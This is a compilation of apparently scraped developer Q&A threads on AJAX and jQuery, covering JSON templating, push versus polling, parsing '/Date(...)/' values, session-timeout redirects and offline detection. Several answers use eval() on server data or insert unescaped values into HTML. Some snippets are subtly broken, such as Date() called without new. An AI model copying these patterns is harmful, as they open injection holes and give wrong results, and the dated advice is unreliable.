http://weblogs.asp.net/rashid/archive/2009/04/15/adaptive-rendering-in-asp-net-mvc.aspx
Paul
For folks who have upgraded to MVC 3 here is a neat way Using MVC3 and Json
I'm calling a web service that returns an array of objects in JSON.
I want to take those objects and populate a div with html. Let's say each object contains a url and a name.
If i wanted to generate the following html for each object:
<div><img src="the url" />the name</div>
Is there a best practice for this? I can see three ways of doing it:
Use some sort of templating plugin like http://beebole.com/pure/ which seems like a cool yet immature technology
UPDATE, a friend suggested the following: generate the html on the server, then serve up via json, this is faster and allows you to reuse the template on any server side stuff you are doing
Options #1 and #2 are going to be your most immediate straight forward options, however, for both options, you're going to feel the performance and maintenance impact by either building strings or creating DOM objects.
Templating isn't all that immature, and you're seeing it popup in most of the major Javascript frameworks.
Here's an example in JQuery Template Plugin that will save you the performance hit, and is really, really straightforward:
var t = $.template('<div><img src="${url}" />${name}</div>');
$(selector).append( t , {
url: jsonObj.url,
name: jsonObj.name
});
I say go the cool route (and better performing, more maintainable), and use templating.
Either of the first two options is both common and acceptable.
I'll give examples of each one in Prototype.
// assuming JSON looks like this:
// { 'src': 'foo/bar.jpg', 'name': 'Lorem ipsum' }
Approach #1:
var html = "<div><img src='#{src}' /> #{name}</div>".interpolate(json);
$('container').insert(html); // inserts at bottom
Approach #2:
var div = new Element('div');
div.insert( new Element('img', { src: json.src }) );
div.insert(" " + json.name);
$('container').insert(div); // inserts at bottom
If you absolutely have to concatenate strings, instead of the normal :
var s="";
for (var i=0; i < 200; ++i) {s += "testing"; }
use a temporary array:
var s=[];
for (var i=0; i < 200; ++i) { s.push("testing"); }
s = s.join("");
Using arrays is much faster, especially in IE. I did some testing with strings a while ago with IE7, Opera and FF. Opera took only 0.4s to perform the test, but IE7 hadn't finished after 20 MINUTES !!!! ( No, I am not kidding. ) With array IE was very fast.
Here's an example, using my Simple Templates plug-in for jQuery:
var tmpl = '<div class="#{classname}">#{content}</div>';
var vals = {
classname : 'my-class',
content : 'This is my content.'
};
var html = $.tmpl(tmpl, vals);
You could add the template HTML to your page in a hidden div and then use cloneNode and your favorite library's querying facilities to populate it
/* CSS */
.template {display:none;}
<!--HTML-->
<div class="template">
<div class="container">
<h1></h1>
<img src="" alt="" />
</div>
</div>
/*Javascript (using Prototype)*/
var copy = $$(".template .container")[0].cloneNode(true);
myElement.appendChild(copy);
$(copy).select("h1").each(function(e) {/*do stuff to h1*/})
$(copy).select("img").each(function(e) {/*do stuff to img*/})
Errh, yes. Don't...!! ;)
Or if you absolutely have to you could check out Builder.node in prototype.js...
I am working on a simple notification service that will be used to deliver messages to the users surfing a website. The notifications do not have to be sent in real time but it might be a better user experience if they happened more frequently than say every 5 minutes. The data being sent to and from the client is not very large and it is a straight forward database query to retrieve the data.
In reading other conversations on the topic it would appear that an AJAX push can result in higher server loads. Since I can tolerate longer server delays is it worth while to have the server push notifications or to simply poll.
It is not much harder to implement the push scenario and so I thought I would see what the opinion was here.
Thanks for your help.
EDIT: I have looked into a simple AJAX Push and implemented a simple demo based on this article by Mike Purvis. The client load is fairly low at around 5k for the initial version and expected to stay that way for quite some time.
Thank you everyone for your responses. I have decided to go with the polling solution but to wrap it all within a utility library so that if they want to change it later it is easier.
Definitely use push its much cooler. If you just want simple notifications I would use something like StreamHub Push Server to do the heavy-lifting for you. Developing your own Ajax Push functionality is an extremely tricky and rocky road - you have to get it working in all browsers and then handle firewalls and proxies killing keep-alive connections etc... Why re-invent the wheel. Also, it has a similarily low footprint of less than 10K so it should suit if that is a priority for you.
Not sure if you have taken a look at some of the COMET implementations out there (is that what you mean by AJAX push).
If the user is surfing the site, won't that in effect be requesting information from the server that this notification can piggy-back on?
Because using a push requires an open HTTP connection to be maintained between your server and each client, I'd go for poll as well - not only is that going to consume a lot of server resources but it's also going to be significantly more tricky to implement as matt b mentioned.
My experience with polling is that if you have a frequent enough polling interval on a busy enough site your web server logs can get flooded with poll requests real quickly.
I haven't tried it myself, but some say COMET works and is easier than you think. There's also a Ruby on Rails plug-in called Juggernaut that I've heard talked about highly. Again, I haven't used it, so YMMV, but my understanding is that it takes far fewer resources compared to polling. I believe (can someone confirm?) that COMET is how MacRumorsLive.com delivers live blogging of WWDC Stevenotes.
It's impossible to say whether polling will be more expensive then pushing without knowing how many clients you'll have. I'd recommend polling because:
cometd on the server side and a client-side library that groks server-side push.So if you needed something heavy-duty to manage a torrent of data and a crapload of clients, I'd recommend Comet. But that doesn't seem to be the case.
Both have diferent requirements and address diferent scenarios.
If you need realtime updates, like in an online chat, push is a must.
But, if the refresh period is big, as it is in your case (5 minutes), then pool is the appropriate solution. Push, in this case, will require a lot of resource from both the client and the server.
Tip! try to make the page that checks the pool fast and clean, so it doesn't consumes a lot of resources in the server in each request. What I usually do is to keep a flag in memory (like in a session variable) that says if the pool is empty or not... so, I only do havy look in the pool only if it is not empty. When the pool is empty, which is most of the time, the page request runs extremely fast.
I would implement a poll just because it sounds simpler to write, and keeping it simple is very valuable.
There's now a service http://pusherapp.com that is trying to solve this problem once and for all, in a blink. Might be worth checking out. (disclaimer: i am in no way associated with them).
Is it better to learn how to code AJAX without the use of an AJAX library? What are the advantages of coding from scratch over using a library such as jQuery?
For learning, yes, avoid libraries. Especially for something as conceptually simple as AJAX, forcing yourself to learn how the browser can be used "raw" will benefit you immensely later on, even if you are using a library to take care of the drudgery and abstract away browser differences.
Once you have a solid understanding of how it works though, use a library, if for no other reason than spending time working around subtle browser differences is a waste. Better yet though, spending some time reading through the source of jQuery and others will give you insight into what well-written JavaScript looks like - and that in turn will benefit the code you do write!
While I think it is really important to understand conceptually what is going on and be able to correctly implement calls using an AJAX library, I disagree with @Shog9 that you need to write the actual code to perform an XmlHttpRequest in order to start using AJAX. I'd say do some background reading to understand the concepts -- implement the code samples demonstrating them if you want -- but once you get the concept, find some tutorials on how to do stuff with AJAX with or without libraries. You'll soon find that others have been there before and left pretty good sign-posts on how to get around.
I agree with the sentiment about looking at framework code to see how to write good code.
Well it depends... Do you want so get productive fast? then JQuery or any other framework of your choice is the way. But if you want to dive in to Javascript/Ajax and learn how stuff works then it would be better to try and write things yourself and also take a look at other frameworks out there and learn from them. Different people have different point of views so look at them and how they're doing it and learn from that.
Warning: I love jQuery, my opinion is biased
For people that are new with javascript I believe it is important to learn the basics (read: do it from the ground up) rather than rely on libraries. That said the time savings and terseness of the resulting code is well worth using the library.
To recap: Learning do if yourself Otherwise do yourself and your deadlines a favour and use the library.
Every generation of technology makes learning the previous generation less useful, even though it could give you more power.
Example: Millions learned Visual Basic even though writing your own C gives you more control.
Answer to the question: If you want to learn about AJAX, study how the libraries use AJAX. They are open source. They have been matured over time and are commented well.
If you want to USE AJAX, then just use one of the libraries and save yourself a world of headache.
I think it's all a matter of what your end goal is. If your looking to have a good fundamental understanding of AJAX so you can make educated decisions about which framework is best and why certain things work then learning AJAX without the help of a framework is best for you. If your goal to learn how to architect dynamic websites and AJAX is the missing link in your understanding, then I see no harm in learning based on a framework. Besides, how often do you really need to understand the fundamentals of a technology. In the same way that you don't really need to know how to use the WinHttp object to be able to make Http requests in .Net, for the most part you don't need to know how to use the XmlHttpRequest object because your likely going to be using some form of interface to access it anyway.
Anyone know where I can get this icon in 32x32?
And more generally what's a good source for finding Ajax loading icons? This one only offers 16x16.
I am a big fan of: http://www.ajaxload.info/
I would love to know of a site like these that generate SWFs instead of GIFs (for easier embedding into Flex applications).
You can try this site: http://www.chimply.com. The site provides several loading images which can be parameterized very easily. Also it can generate swf files instead of gif.
There are quite a few here: http://mentalized.net/activity-indicators/
Thanks Parand. I also just came across this one. Guess I'm all set.
I have listed some of the Ajax loading icon generators here: http://www.netwaver.com/21/8-ajax-loading-icon-generators/
I'm taking my first crack at Ajax with jQuery. I'm getting my data onto my page, but I'm having some trouble with the JSON data that is returned for Date data types. Basically, I'm getting a string back that looks like this:
/Date(1224043200000)/
From someone totally new to JSON - How do I format this to a short date format? Should this be handled somewhere in the jQuery code? I've tried the jQuery.UI.datepicker plugin using $.datepicker.formatDate() without any success.
FYI: Here's the solution I came up with using a combination of the answers here:
function getMismatch(id) {
$.getJSON("Main.aspx?Callback=GetMismatch",
{ MismatchId: id },
function(result) {
$("#AuthMerchId").text(result.AuthorizationMerchantId);
$("#SttlMerchId").text(result.SettlementMerchantId);
$("#CreateDate").text(formatJSONDate(Date(result.AppendDts)));
$("#ExpireDate").text(formatJSONDate(Date(result.ExpiresDts)));
$("#LastUpdate").text(formatJSONDate(Date(result.LastUpdateDts)));
$("#LastUpdatedBy").text(result.LastUpdateNt);
$("#ProcessIn").text(result.ProcessIn);
}
);
return false;
}
function formatJSONDate(jsonDate){
var newDate = dateFormat(jsonDate, "mm/dd/yyyy");
return newDate;
}
This solution got my object from the callback method and displayed the dates on the page properly using the date format library.
Eval is not necessary. This will work fine:
var date = new Date(parseInt(jsonDate.substr(6)));
The substr function takes out the "\/Date(" part, and the parseInt function gets the integer and ignores the ")\/" at the end. The resulting number is passed into the Date constructor.
Here's a good explanation of why Microsoft chose this format to represent JSON dates in ASP.NET:
http://weblogs.asp.net/bleroy/archive/2008/01/18/dates-and-json.aspx
You can use this to get a date from json:
var date = eval(jsonDate.replace(/\/Date\((\d+)\)\//gi, "new Date($1)"));
and then you can use JavaScript Date Format script (1.2 KB when minified and gzipped) to display it as you want.
The original example:
/Date(1224043200000)/
does not reflect the formatting used by WCF when sending dates via WCF REST using the built-in JSON serialization. (at least on .NET 3.5, SP1)
I found the answer here helpful, but a slight edit to the regex is required, as it appears that the timezone GMT offset is being appended onto the number returned (since 1970) in WCF JSON.
In a WCF service I have:
[OperationContract]
[WebInvoke(
RequestFormat = WebMessageFormat.Json,
ResponseFormat = WebMessageFormat.Json,
BodyStyle = WebMessageBodyStyle.WrappedRequest
)]
ApptVisitLinkInfo GetCurrentLinkInfo( int appointmentsId );
ApptVisitLinkInfo is defined simply:
public class ApptVisitLinkInfo {
string Field1 { get; set; }
DateTime Field2 { get; set; }
...
}
When "Field2" is returned as Json from the service the value is:
/Date(1224043200000-0600)/
Notice the timezone offset included as part of the value.
The modified regex:
/\/Date\((.*?)\)\//gi
It's slightly more eager and grabs everything between the parens, not just the first number. The resulting time sinze 1970, plus timezone offset can all be fed into the eval to get a date object.
The resulting line of JavaScript for the replace is:
replace(/\/Date\((.*?)\)\//gi, "new Date($1)");
If you say in JavaScript,
var thedate = Date(1224043200000);
alert(thedate);
you will see that it's the correct date, and you can use that anywhere in JavaScript code with any framework.
I ended up adding the " characters into Panos's regex to get rid of the ones generated by microsoft serializer for when writing objects into inline script:
So if you have a property in your C# code behind that's something like
protected string JsonObject { get { return jsSerialiser.Serialize(_myObject); }}
and in your aspx you have
<script type="text/javascript">
var myObject = '<%= JsonObject %>';
</script>
you'd get something like
var myObject = '{"StartDate":"\/Date(1255131630400)\/"}';
Notice the double quotes.
To get this into a form that eval will correctly deserialize I used:
myObject = myObject.replace(/"\/Date\((\d+)\)\/"/g, 'new Date($1)');
I use Prototype and to use it I added
String.prototype.evalJSONWithDates = function() {
var jsonWithDates = this.replace(/"\/Date\((\d+)\)\/"/g, 'new Date($1)');
return jsonWithDates.evalJSON(true);
}
Don't over-think this. Like we've done for decades, pass a numeric offset from the de-facto standard epoch of 1 Jan 70 Midnight GMT/UTC/&c in # of seconds (or milliseconds) since this epoch. JavaScript likes it, Java likes it, C likes it, the Internet likes it.
If you're using jQuery 1.4's Ajax function with ASP.NET MVC, you can turn all DateTime properties into Date objects with:
// Once
jQuery.parseJSON = function(d) {return eval('(' + d + ')');};
$.ajax({
...
dataFilter: function(d) {
return d.replace(/"\\\/(Date\(-?\d+\))\\\/"/g, 'new $1');
},
...
});
In jQuery 1.5 you can avoid overriding the parseJSON method globally by using the converters option in the Ajax call.
http://api.jquery.com/jQuery.ajax/
Unfortunately you have to switch to the older eval route in order to get Dates to parse globally in-place - otherwise you need to convert them on a more case-by-case basis post-parse.
There is no built in date type in JSON. This looks like the number of seconds / milliseconds from some epoch. If you know the epoch you can create the date by adding on the right amount of time.
For those using Newtonsoft Json.NET, read up on how to do it via Native JSON in IE8, Firefox 3.5 plus Json.NET.
For those that are too lazy, here are the quick steps. As JSON has a loose DateTime implementation, you need to use the IsoDateTimeConverter(),
string jsonText = JsonConvert.SerializeObject(p, new IsoDateTimeConverter());
The JSON will come through as
"fieldName": "2009-04-12T20:44:55"
Finally, some JavaScript to convert the ISO date to a JavaScript date:
function isoDateReviver(value) {
if (typeof value === 'string') {
var a = /^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2}(?:\.\d*)?)(?:([\+-])(\d{2})\:(\d{2}))?Z?$/.exec(value);
if (a) {
var utcMilliseconds = Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4], +a[5], +a[6]);
return new Date(utcMilliseconds);
}
}
return value;
}
I used it like this
$("<span />").text(isoDateReviver(item.fieldName).toLocaleString()).appendTo("#" + divName);
$.parseJSON()Answers to your post provide manual date conversion to Javascript dates. I've extended jQuery's $.parseJSON() just a little bit so it's able to automatically parse dates when you instruct it to. It processes Asp.net formatted dates (/Date(12348721342)/) as well as ISO formatted dates (2010-01-01T12.34.56.789Z) that are supported by native JSON functions in browsers (and libraries like json2.js).
Anyway. If you don't want to repeat your date conversion code over and over again I suggest you read this blog post and get the code that will make your life a little easier.
Posting in awesome thread:
var d = new Date(parseInt('/Date(1224043200000)/'.slice(6, -2)));
alert('' + (1 + d.getMonth()) + '/' + d.getDate() + '/' + d.getFullYear().toString().slice(-2));
In jQuery 1.5, as long as you have json2.js to cover for older browsers, you can deserialize all dates coming from Ajax as follows:
(function () {
var DATE_START = "/Date(";
var DATE_START_LENGTH = DATE_START.length;
function isDateString(x) {
return typeof x === "string" && x.startsWith(DATE_START);
}
function deserializeDateString(dateString) {
var dateOffsetByLocalTime = new Date(parseInt(dateString.substr(DATE_START_LENGTH)));
var utcDate = new Date(dateOffsetByLocalTime.getTime() - dateOffsetByLocalTime.getTimezoneOffset() * 60 * 1000);
return utcDate;
}
function convertJSONDates(key, value) {
if (isDateString(value)) {
return deserializeDateString(value);
}
return value;
}
window.jQuery.ajaxSetup({
converters: {
"text json": function(data) {
return window.JSON.parse(data, convertJSONDates);
}
}
});
}());
I included logic that assumes you send all dates from the server as UTC (which you should); the consumer then gets a JavaScript Date object that has the proper ticks value to reflect this. That is, calling getUTCHours() etc. on the date will return the same value as it did on the server, and calling getHours() will return the value in the user's local timezone as determined by their browser.
This does not take into account WCF format with timezone offsets, though that would be relatively easy to add.
Every one of these answers has one thing in common: they all store dates as a single value ( usually a string ).
Another option is to take advantage of the inherent structure of JSON, and represent a date as list of numbers:
{ "name":"Nick",
"birthdate":[1968,6,9] }
Of course, you would have to make sure both ends of the conversation agree on the format (year,month,day), and which fields are meant to be dates,... but it has the advantage of completely avoiding the issue of date-to-string conversion. It's all numbers -- no strings at all. Also, using the order: year,month,day also allows proper sorting by date.
Just thinking outside the box here -- a JSON date doesn't have to be stored as a string.
Check up the Date ISO standard; kind of like this; "yyyy.MM.ddThh:mm"
becomes; 2008.11.20T22:18
var newDate = dateFormat(jsonDate, "mm/dd/yyyy");
are there any other option without using JQuery Libraries...?
Your JSON should probably be returning an object of some sort (well, a string representation thereof).
"{ myDate : Date(1224043200000) }"
Using jQuery, you can access your data object this way:
$.get(
"myJSONFile.php",
function (data) {
// data.myDate will be a date object.
// to show in a short date format (eg: dd/mm/yyyy)
alert (
data.myDate.getDate() + "/"
+ (data.myDate.getMonth() + 1) + "/"
+ data.myDate.getFullYear()
); // alerts: "15/10/2008"
}
);
A late post, but for those who searched this post.
Imagine this:
[Authorize(Roles = "Administrator")]
[Authorize(Roles = "Director")]
[Authorize(Roles = "Human Resources")]
[HttpGet]
public ActionResult GetUserData(string UserIdGuidKey)
{
if (UserIdGuidKey!= null)
{
var guidUserId = new Guid(UserIdGuidKey);
var memuser = Membership.GetUser(guidUserId);
var profileuser = Profile.GetUserProfile(memuser.UserName);
var list = new {
UserName = memuser.UserName,
Email = memuser.Email ,
IsApproved = memuser.IsApproved.ToString() ,
IsLockedOut = memuser.IsLockedOut.ToString() ,
LastLockoutDate = memuser.LastLockoutDate.ToString() ,
CreationDate = memuser.CreationDate.ToString() ,
LastLoginDate = memuser.LastLoginDate.ToString() ,
LastActivityDate = memuser.LastActivityDate.ToString() ,
LastPasswordChangedDate = memuser.LastPasswordChangedDate.ToString() ,
IsOnline = memuser.IsOnline.ToString() ,
FirstName = profileuser.FirstName ,
LastName = profileuser.LastName ,
NickName = profileuser.NickName ,
BirthDate = profileuser.BirthDate.ToString() ,
};
return Json(list, JsonRequestBehavior.AllowGet);
}
return Redirect("Index");
}
As you can see, I'm utilizing C# 3.0's feature for creating the "Auto" Generics. It's a bit lazy, but I like it and it works. Just a note: Profile is a custom class I've created for my web application project.
Check this for a generic solution for parsing date values in JSON strings:
http://www.blog.activa.be/2010/03/12/HandlingDatesInJSONResponsesWithJQuery14TheEasyWay.aspx
(assumes you're using jQuery 1.4 or higher)
Mootools solution:
new Date(Date(result.AppendDts)).format('%x')
Requires mootools-more. Tested using mootools-1.2.3.1-more on Firefox 3.6.3 and IE 7.0.5730.13
FYI, for anyone using Python on the server side: datetime.datetime().ctime() returns a string that is natively parsable by "new Date()". That is, if you create a new datetime.datetime instance (such as with datetime.datetime.now), the string can be included in the JSON string, and then that string can be passed as the first argument to the Date constructor. I haven't yet found any exceptions, but I haven't tested it too rigorously, either.
I get the date like this:
"/Date(1276290000000+0300)/"
In some examples the date is in slightly different formats:
"/Date(12762900000000300)/"
"Date(1276290000000-0300)"
etc.
So I came up with the following RegExp:
/\/+Date\(([\d+]+)\)\/+/
and the final code is:
var myDate = new Date(parseInt(jsonWcfDate.replace(/\/+Date\(([\d+-]+)\)\/+/, '$1')));
Hope it helps.
Update: I found this link from Microsoft: How do I Serialize Dates with JSON?
This seems like the one we are all looking for.
This is frustrating. My solution was to parse out the "\/ and \/" from the value generated by asp.net's JavaScriptSerializer so that, though JSON may not have a date literal, it still gets interpreted by the browser as a date, which is what all I really want:{"myDate":Date(123456789)}
http://stackoverflow.com/questions/1341719/custom-javascriptconverter-for-datetime/3930187#3930187
var obj = eval('(' + "{Date: \/Date(1278903921551)\/}".replace(/\/Date\((\d+)\)\//gi, "new Date($1)") + ')');
var dateValue = obj["Date"];
$.datepicker.formatDate('MM d,yy',new Date(parseInt(place the date that you get from the database here)));
output : August 30,2011 this doesnt give you the current time and date.. it displays whatever is there in your database.
Check out my attempt at creating an all-inclusive JavaScript Date library:
http://fisforformat.sourceforge.net/
I bet you're asking yourself what makes this guy think his Date formatter is any different than the countless others... As far as functionality goes, probably not much.
BUT... This one is called "F is for Format" for a reason - and that is to save YOU keystrokes!
All those other Date libraries make you type "format" every time you want to format a Date. With F is for Format, you only have to type "f"! That's a whole FIVE keystrokes!
Besides the formatting, F is for Format extends the Date Object with several other new methods including the ability to calculate a human readable difference between ANY two dates.
Anyone know of a link to a good article/tutorial for getting started using jQuery for AJAX calls rather than ASP.NET AJAX? I'm trying to avoid using UpdatePanels entirely in this app, which I haven't been able to accomplish in the past.
Rick has some good in depth tutorials for jquery + asp.net
http://www.west-wind.com/Weblog/
Dave has some good stuff also here
http://encosia.com/2008/03/27/using-jquery-to-consume-aspnet-json-web-services/
You can also refer, Multiple ways to make ajax calls using jQuery in ASP.Net
The most complete article I've ever found about this topic
http://www.codeproject.com/KB/ajax/AjaxAndAspNET.aspx
It avoids update panel, script manager and viewstate.
Damien Edwards just gave an awesome talk on this topic at the recent MIX11 conference. You can watch the video online and download his code. He developed a jquery-UI extenders project that works the same way that ASP.NET AJAX toolkit works, but just extends normal controls/tags/elements with jQuery functionality. The project is on CodePlex.
people already provided lots of good posts but here is another one.
Here are few links:
A Look Into JQuery API http://gridviewguy.com/Articles/407_A_Look_Into_JQuery_Ajax_API.aspx
Using FireBug Profiler to Dig Deep into MS AJAX and JQuery API http://azamsharp.com/Posts/83_Using_FireBug_Profiler_to_Dig_Deep_into_MS_AJAX_and_JQuery_API.aspx
On Demand Loading Using JQuery Ajax API http://azamsharp.com/Posts/74_On_Demand_Loading_Using_JQuery_Ajax_API.aspx
Im using $.post() to call a Servlet using Ajax and then use the resulting HTML fragment to replace a div element in the User's current page. However, if the session timeouts the server sends a redirect directive to send the user to the login page. Nonetheless, JQuery is replacing the div element with the contents of the login page, forcing the user's eyes to witness a rare scene indeed.
How can I manage a redirect directive from an Ajax call?
I read this question and implemented the approach that has been stated regarding setting the response status code to 278 in order to avoid the browser transparently handling the redirects. Even though this worked, I was a little dissatisfied as it is a bit of a hack.
After more digging around, I ditched this approach and used JSON. In this case, all responses to ajax requests have the status code 200 and the body of the response contains a JSON object that is constructed on the server. The javascript on the client can then use the JSON object to decide what it needs to do.
I had a similar problem to yours. I perform an ajax request that has 2 possible responses: one that redirects the browser to a new page and one that replaces an existing HTML form on the current page with a new one. The jquery code to do this looks something like:
$.ajax({
type: "POST",
url: reqUrl,
data: reqBody,
dataType: "json",
success: function(data, textStatus) {
if (data.redirect) {
// data.redirect contains the string URL to redirect to
window.location.href = data.redirect;
}
else {
// data.form contains the HTML for the replacement form
$("#myform").replaceWith(data.form);
}
}
});
The JSON object "data" is constructed on the server to have 2 members: data.redirect and data.form. I found this approach to be much better.
I solved this issue by:
Adding a custom header to the Response
public ActionResult Index(){
if (!HttpContext.User.Identity.IsAuthenticated)
{
HttpContext.Response.AddHeader("REQUIRES_AUTH","1");
}
return View()
}
Bind a Javascript function to the ajaxSuccess event and check to see if the header exists
$('body').bind('ajaxSuccess',function(event,request,settings){
if (request.getResponseHeader('REQUIRES_AUTH') === '1'){
window.location = '/';
};
});
No browsers handles 301 and 302 responses correctly. And in fact the standard even says they should handle them "transparently" which is a MASSIVE headache for Ajax Library vendors. In Ra-Ajax we were forced into using HTTP response status code 278 (just some "unused" success code) to handle transparently redirects from the server...
This really annoys me, and if someone here have some "pull" in W3C I would appreciate that you could let W3C know that we really need to handle 301 and 302 codes ourselves...! ;)
The solution that was eventually implemented was to use a wrapper for the callback function of the Ajax call and in this wrapper check for the existence of a specific element on the returned HTML chunk. If the element was found then the wrapper executed a redirection. If not, the wrapper forwarded the call to the actual callback function.
For example, our wrapper function was something like:
function cbWrapper(data, funct){
if($("#myForm", data).size() > 0)
top.location.href="login.htm";//redirection
else
funct(data);
}
Then, when making the Ajax call we used something like:
$.post("myAjaxHandler",
{
param1: foo,
param2: bar
},
function(data){
cbWrapper(data, myActualCB);
},
"html");
This worked for us because all Ajax calls always returned HTML inside a DIV element that we use to replace a piece of the page. Also, we only needed to redirect to the login page.
Use the low-level $.ajax() call:
$.ajax({
url: "/yourservlet",
data: { },
complete: function(xmlHttp) {
// xmlHttp is a XMLHttpRquest object
alert(xmlHttp.status);
}
});
Try this for a redirect:
if (xmlHttp.code != 200) {
top.location.href = '/some/other/page';
}
I have a simple solution that works for me, no server code change needed...just add a tsp of nutmeg...
$(document).ready(function ()
{
$(document).ajaxSend(
function(event,request,settings)
{
var intercepted_success = settings.success;
settings.success = function( a, b, c )
{
if( request.responseText.indexOf( "<html>" ) > -1 )
window.location = window.location;
else
intercepted_success( a, b, c );
};
});
});
I check the presence of html tag, but you can change the indexOf to search for whatever unique string exists in your login page...
I like Timmerz's method with a slight twist of lemon. If you ever get returned contentType of text/html when you're expecting JSON, you are most likely being redirected. In my case, I just simply reload the page, and it gets redirected to the login page. Oh, and check that the jqXHR status is 200, which seems silly, because you are in the error function, right? Otherwise, legitimate error cases will force an iterative reload (oops)
$.ajax(
error: function (jqXHR, timeout, message) {
var contentType = jqXHR.getResponseHeader("Content-Type");
if (jqXHR.status === 200 && contentType.toLowerCase().indexOf("text/html") >= 0) {
// assume that our login has expired - reload our current page
window.location.reload();
}
});
Try
$(document).ready(function () {
if ($("#site").length > 0) {
window.location = "<%= Url.Content("~") %>" + "Login/LogOn";
}
});
Put it on the login page. If it was loaded in a div on the main page, it will redirect til the login page. "#site" is a id of a div which is located on all pages except login page.
in the servlet you should put response.setStatus(response.SC_MOVED_PERMANENTLY); to send the '301' xmlHttp status you need for a redirection...
and in the $.ajax function you should not use the .toString() function..., just
if (xmlHttp.status == 301) { top.location.href = 'xxxx.jsp'; }
the problem is it is not very flexible, you can't decide where you want to redirect..
redirecting through the servlets should be the best way. but i still can not find the right way to do it.
Based on my brief testing of Firefox, Safari, Opera, IE6/7, it seems the XMLHttpRequest.status does not return the same values and its not compatible across different browsers. I haven't found a more elegant solution.
I just wanted to latch on to any ajax requests for the entire page. @SuperG got me started. Here is what I ended up with:
// redirect ajax requests that are redirected, not found (404), or forbidden (403.)
$('body').bind('ajaxComplete', function(event,request,settings){
switch(request.status) {
case 301: case 404: case 403:
window.location.replace("http://mysite.tld/login");
break;
}
});
I wanted to specifically check for certain http status codes to base my decision on. However, you can just bind to ajaxError to get anything other than success (200 only perhaps?) I could have just written:
$('body').bind('ajaxError', function(event,request,settings){
window.location.replace("http://mysite.tld/login");
}
I was having this problem on a django app I'm tinkering with (disclaimer: I'm tinkering to learn, and am in no way an expert). What I wanted to do was use jQuery ajax to send a DELETE request to a resource, delete it on the server side, then send a redirect back to (basically) the homepage. When I sent HttpResponseRedirect('/the-redirect/') from the python script, jQuery's ajax method was receiving 200 instead of 302. So, what I did was to send a response of 300 with:
response = HttpResponse(status='300')
response['Location'] = '/the-redirect/'
return response
Then I sent/handled the request on the client with jQuery.ajax like so:
<button onclick="*the-jquery*">Delete</button>
where *the-jquery* =
$.ajax({
type: 'DELETE',
url: '/resource-url/',
complete: function(jqxhr){
window.location = jqxhr.getResponseHeader('Location');
}
});
Maybe using 300 isn't "right", but at least it worked just like I wanted it to.
PS :this was a huge pain to edit on the mobile version of SO. Stupid ISP put my service cancellation request through right when I was done with my answer!
<script>
function showValues() {
var str = $("form").serialize();
$.post('loginUser.html',
str,
function(responseText, responseStatus, responseXML){
if(responseStatus=="success"){
window.location= "adminIndex.html";
}
});
}
</script>
Additionally you will probably want to redirect user to the given in headers URL. So finally it will looks like this:
$.ajax({
//.... other definition
complete:function(xmlHttp){
if(xmlHttp.status.toString()[0]=='3'){
top.location.href = xmlHttp.getResponseHeader('Location');
}
});
UPD: Opps. Have the same task, but it not works. Doing this stuff. I'll show you solution when I'll find it.
Putting together what Vladimir Prudnikov and Thomas Hansen said:
if request.is_ajax():
response.status_code = 278
This makes the browser treat the response as a success, and hand it to your Javascript.
$('#my-form').submit(function(event){
event.preventDefault();
var options = {
url: $(this).attr('action'),
type: 'POST',
complete: function(response, textStatus) {
if (response.status == 278) {
window.location = response.getResponseHeader('Location')
}
else { ... your code here ... }
},
data: $(this).serialize(),
};
$.ajax(options);
});
Well a (Jq)newbie here.
I had an absolute enlightening approach (for me at least). We needed to redirect the user to authenticated content after checking the credentials. as most of you can make out, we have the Jquery frontend using Ajax call to the php script. Now in failed conditions the script send html content (failure messages, empty strings blah blah blah), but upon successful authentication it is supposed to redirect, hence the requirement of us all wandering here. Normally an header("Location: xxx") would open the page in the messages div as suspected.
However, here is where the enlightenment came. I again married/mated, whatever you call, Javascript and PHP... i used:
<? if ( LoginSuccess) // Checked everything and passed
{ echo '<script language="javascript">window.location.replace("authenticatedpage.php");</script>';
} ?>
And we were smiling after that...:-)
I hope you also have a smile after reading this post. And sorry if someone had already posted this solution but I did not read it for any reason.
Thank you everyone.
Best wishes for all your projects.
Inderjeet S Sodhi
How to detect that the Internet connection is offline in JavaScript?
You can determine that the connection is lost by making failed XHR requests.
The standard approach is to retry the request a few times. If it doesn't go through, alert the user to check the connection, and fail gracefully.
Sidenote: To put the entire application in an "offline" state may lead to a lot of error-prone work of handling state.. wireless connections may come and go, etc. So your best bet may be to just fail gracefully, preserve the data, and alert the user.. allowing them to eventually fix the connection problem if there is one, and to continue using your app with a fair amount of forgiveness.
Sidenote: You could check a reliable site like google for connectivity, but this may not be entirely useful as just trying to make your own request, because while google may be available, your own application may not be, and you're still going to have to handle your own connection problem. Trying to send a ping to google would be a good way to confirm that the internet connection itself is down, so if that information is useful to you, then it might be worth the trouble.
Sidenote: Sending a Ping could be achieved in the same way that you would make any kind of two-way ajax request, but sending a ping to google in this case would pose some challenges. First, we'd have the same cross-domain issues that are typically encountered in making ajax communications. One option is to set up a server-side proxy, wherein we actually ping google (or whatever site), and return the results of the ping to the app.. This is a catch-22, because if the internet connection is actually the problem, we won't be able to get to the server, and if the connection problem is only on our own domain, we won't be able to tell the difference. Other cross-domain techniques could be tried, for example, embedding an iframe in your page which points to google.com, and then polling the iframe for success/failure (examine the contents, etc). Embedding an image may not really tell us anything, because we need a useful response from the communication mechanism in order to draw a good conclusion about what's going on. So again, determining the state of the internet connection as a whole may be more trouble than it's worth. You'll have to weight these options out for your specific app.
There are a number of ways to do this:
You could put an onerror in an img, like
<img src='http://www.example.com/singlepixel.gif'
onerror='alert("Connection dead");' />
This method could also fail if the source image is moved / renamed, and would generally be an inferior choice to the ajax option.
So there are several different ways to try and detect this, none perfect, but in the absence of the ability to jump out of the browser sandbox and access the user's net connection status directly, they seem to be the best options.
IE 8 will support the window.navigator.onLine property.
But of course that doesn't help with other browsers or operating systems. I predict other browser vendors will decide to provide that property as well given the importance of knowing online/offline status in Ajax applications.
Until that happens, either XHR or an Image() or <img> request can provide something close to the functionality you want.
The HTML5 Application Cache API specifies navigator.onLine, which is currently available in the IE8 betas, WebKit (eg. Safari) nightlies, and is already supported in Firefox 3
Your can find a small script using jQuery here, doing exactly what you want to do.
You can use $.ajax()'s error callback, which fires if the request fails. If textStatus equals the string "timeout" it probably means connection is broken:
function (XMLHttpRequest, textStatus, errorThrown) {
// typically only one of textStatus or errorThrown
// will have info
this; // the options for this ajax request
}
From the doc:
